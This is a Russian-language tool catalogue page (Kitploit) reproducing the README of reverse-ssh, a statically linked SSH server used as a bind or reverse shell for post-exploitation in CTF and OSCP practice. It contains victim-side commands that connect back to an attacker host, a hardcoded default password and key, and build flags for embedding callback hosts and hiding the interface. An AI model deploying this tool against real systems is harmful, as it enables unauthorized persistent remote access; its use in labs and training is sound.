Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
reverse-ssh — Статически скомпилированный SSH-сервер с функционалом обратной оболочки для CTF и подобных задач. | Kitploit
Инструменты/GitHubGitHub/fahrj/reverse-ssh
Пост-эксплуатацияCTFТестирование на ПроникновениеRed TeamingИнструмент Удаленного Доступа
GitHubfahrj/reverse-ssh

reverse-ssh

Статически скомпилированный SSH-сервер с функционалом обратной оболочки для CTF и подобных задач.

Репозиторий
1.1k1503 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

ReverseSSH

Статически слинкованный SSH-сервер с функцией обратного соединения для простого, но мощного удалённого доступа. Наиболее полезен в задачах HackTheBox, CTF и подобных.

Был разработан и активно использовался при подготовке к экзамену OSCP.

Скачать последний релиз

Showcase

Возможности

Поймать обратную оболочку с помощью netcat — это круто, конечно, но кто из нас случайно не закрывал её с клавиатурным прерыванием из-за мышечной памяти? Помимо хрупкости, такие оболочки часто лишены удобных функций, таких как полноценный интерактивный доступ, автодополнение по TAB или история команд.

Вместо этого можно просто развернуть лёгкий SSH-сервер (<1.5МБ) reverse-ssh на целевой системе и использовать дополнительные удобства, такие как передача файлов и проброс портов!

ReverseSSH пытается заполнить разрыв между первоначальным закреплением на цели и полным локальным повышением привилегий. Его основные сильные стороны:

  • Полностью интерактивный доступ к оболочке (см. оговорки для старых версий Windows ниже)
  • Передача файлов через sftp
  • Локальный / удалённый / динамический проброс портов
  • Может использоваться как bind-оболочка и reverse-оболочка
  • Поддерживает Unix и Windows

Оговорки для Windows

Полностью интерактивная оболочка PowerShell в Windows опирается на Windows Pseudo Console ConPTY и поэтому требует как минимум Win10 Build 17763. На более ранних версиях вы всё ещё можете получить интерактивную обратную оболочку, но она не сможет обрабатывать управляющие последовательности терминала, такие как стрелки или клавиатурное прерывание. В таких случаях нужно добавить команду cmd, то есть ssh <OPTIONS> <IP> cmd.

Полный интерактивный доступ к оболочке для старых версий Windows можно получить, поместив ssh-shellhost.exe из OpenSSH для Windows в ту же директорию, что и reverse-ssh, и указав флаг -s ssh-shellhost.exe. Это перенаправит весь трафик через ssh-shellhost.exe, который эмулирует pty и преобразует все управляющие последовательности терминала так, чтобы их могла понять Windows.

Требования

Простое выполнение предоставленных бинарников опирается только на системные требования golang.

Кратко:

  • Linux: ядро версии 2.6.23 и выше
  • Windows: Windows Server 2008R2 и выше, или Windows 7 и выше

Для компиляции дополнительно требуется:

  • golang версии 1.15
  • опционально upx для сжатия (например, apt install upx-ucl)

Использование

Как только reverse-ssh запущен на жертве, вы можете подключиться с любым именем пользователя и стандартным паролем letmeinbrudipls, с помощью SSH-ключа или того, что вы указали при компиляции. В конце концов, это просто SSH-сервер:

root@kitploit:~
# Полностью интерактивный доступ к оболочке
$ ssh -p <RPORT> <RHOST>

# Простое выполнение команд
$ ssh -p <RPORT> <RHOST> whoami

# Полноценная передача файлов
$ sftp -P <RPORT> <RHOST>

# Динамический проброс портов как SOCKS-прокси на порту 9050
$ ssh -p <RPORT> -D 9050 <RHOST>

Запуск ReverseSSH как bind-оболочки

root@kitploit:~
# Жертва
victim$ ./reverse-ssh

# Атакующий (стандартный пароль: letmeinbrudipls)
attacker$ ssh -p 31337 <RHOST>

Запуск ReverseSSH как reverse-оболочки

Примечание: вы можете скомпилировать ReverseSSH с параметрами LHOST и LPORT, чтобы упростить выполнение на целевой системе, см. ниже

root@kitploit:~
# На атакующем (готовимся принять входящий запрос;
# можно пропустить, если у вас уже запущен SSH-демон, например OpenSSH)
# ВНИМАНИЕ: порт LPORT 8888 конфликтует с входящими соединениями; в таком случае используйте флаг `-b 8889` или подобный на жертве
attacker$ ./reverse-ssh -v -l -p <LPORT>

# На жертве
victim$ ./reverse-ssh -p <LPORT> <LHOST>
# или если SSH-демон слушает порт 22 с аутентификацией по паролю пользователя 'kali'
victim$ ./reverse-ssh -p 22 kali@<LHOST>

# На атакующем (стандартный пароль: letmeinbrudipls)
attacker$ ssh -p 8888 127.0.0.1
# или с конфигурацией SSH из примера ниже
attacker$ ssh target

В конечном счёте это обычный SSH, так что вы можете принять вызов удалённого проброса портов с машины жертвы вашим OpenSSH-демоном, слушающим на порту 22. Просто добавьте <USER>@ и введите пароль, когда будет запрошено. Пока что обратное соединение работает только с паролем, потому что я ещё не решился вшивать туда приватный ключ...

Для ещё большего удобства добавьте следующее в ваш ~/.ssh/config, скопируйте приватный ключ SSH в ~/.ssh/ и просто вызывайте ssh target или sftp target:

root@kitploit:~
Host target
        Hostname 127.0.0.1
        Port 8888
        IdentityFile ~/.ssh/id_reverse-ssh
        IdentitiesOnly yes
        StrictHostKeyChecking no
        UserKnownHostsFile /dev/null

Полное использование

root@kitploit:~
reverseSSH v1.2.0  Copyright (C) 2021  Ferdinor <[email protected]>

Использование: reverse-ssh [опции] [[<пользователь>@]<цель>]

Примеры:
  Bind:
        reverse-ssh -l
        reverse-ssh -v -l -p 4444
  Reverse:
        reverse-ssh 192.168.0.1
        reverse-ssh [email protected]
        reverse-ssh -p 31337 192.168.0.1
        reverse-ssh -v -b 0 [email protected]

Опции:
        -l, Запустить reverseSSH в режиме прослушивания (отменяет сценарий reverse)
        -p, Порт, на котором reverseSSH слушает входящие SSH-соединения (сценарий bind)
                или на котором пытается установить SSH-соединение (сценарий reverse) (по умолчанию: 31337)
        -b, Только сценарий reverse: привязаться к этому порту после установки соединения домой (по умолчанию: 8888)
        -s, Оболочка для запуска для входящих соединений, например /bin/bash; (по умолчанию: /bin/bash)
                для Windows может использоваться только для указания пути к 'ssh-shellhost.exe' для
                улучшения работы оболочек до Windows 10 (например, '-s ssh-shellhost.exe' если в той же директории)
        -N, Запретить все входящие запросы на shell/exec/subsystem и локальный проброс портов
                (только если нужен удалённый проброс портов, например при приёме обратных соединений)
        -v, Выводить журнал работы

<цель>
        Необязательная цель, которая активирует сценарий reverse. Может быть предварена
        <пользователь>@ для аутентификации под именем, отличным от 'reverse' при установке соединения домой

Учётные данные:
        Принимает все входящие соединения от любого пользователя с одним из следующих:
         * Пароль "letmeinbrudipls"
         * Открытый ключ "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKlbJwr+ueQ0gojy4QWr2sUWcNC/Y9eV9RdY3PLO7Bk/ Brudi"

Инструкции по сборке

Убедитесь, что установлены указанные выше требования, такие как golang подходящей версии, и правильно настроены. Затем можно скомпилировать с помощью make, что создаст статические бинарники в папке bin. Используйте make compressed, чтобы упаковать бинарники с помощью upx и ещё больше уменьшить их размер.

root@kitploit:~
$ make

# или для дополнительного создания бинарников, упакованных с upx
$ make compressed

Сборка с параметрами

Вы также можете указать одну или несколько из следующих переменных окружения при компиляции, чтобы настроить ReverseSSH под свои нужды:

  • RS_SHELL для изменения оболочки по умолчанию
  • RS_PASS для установки своего пароля
  • RS_PUB для установки своего авторизованного ключа
  • LUSER для изменения имени пользователя по умолчанию при подключении по SSH
  • LHOST для указания значения LHOST по умолчанию и настройки ReverseSSH на сценарий reverse по умолчанию
  • LPORT для изменения порта прослушивания по умолчанию или порта, на который будет отправляться SSH-соединение
  • BPORT для изменения порта прослушивания обратных соединений на машине атакующего; 0 означает, что будет выбран любой свободный порт
  • NOCLI с любым значением удаляет все взаимодействия с пользователем (бинарник игнорирует все переданные флаги или аргументы)
root@kitploit:~
$ ssh-keygen -t ed25519 -f id_reverse-ssh

$ RS_SHELL="/bin/sh" RS_PASS="secret" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed

$ LHOST="192.168.0.10" LPORT="443" BPORT="0" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed

Сборка для других операционных систем или архитектур

По умолчанию reverse-ssh компилируется для вашей текущей ОС и архитектуры, а также для linux и windows в x86 и x64. Для компиляции под другие архитектуры или другую ОС вы можете задать переменные окружения, соответствующие вашей целевой системе, например для linux/arm64:

root@kitploit:~
$ GOARCH=arm64 GOOS=linux make compressed

Список доступных целей в формате ОС/архитектура можно получить с помощью go tool dist list.

Участие в разработке

Не хватает потрясающей функции? Что-то работает не так, как задумано?

Создайте issue или pull request!

Скачать инструмент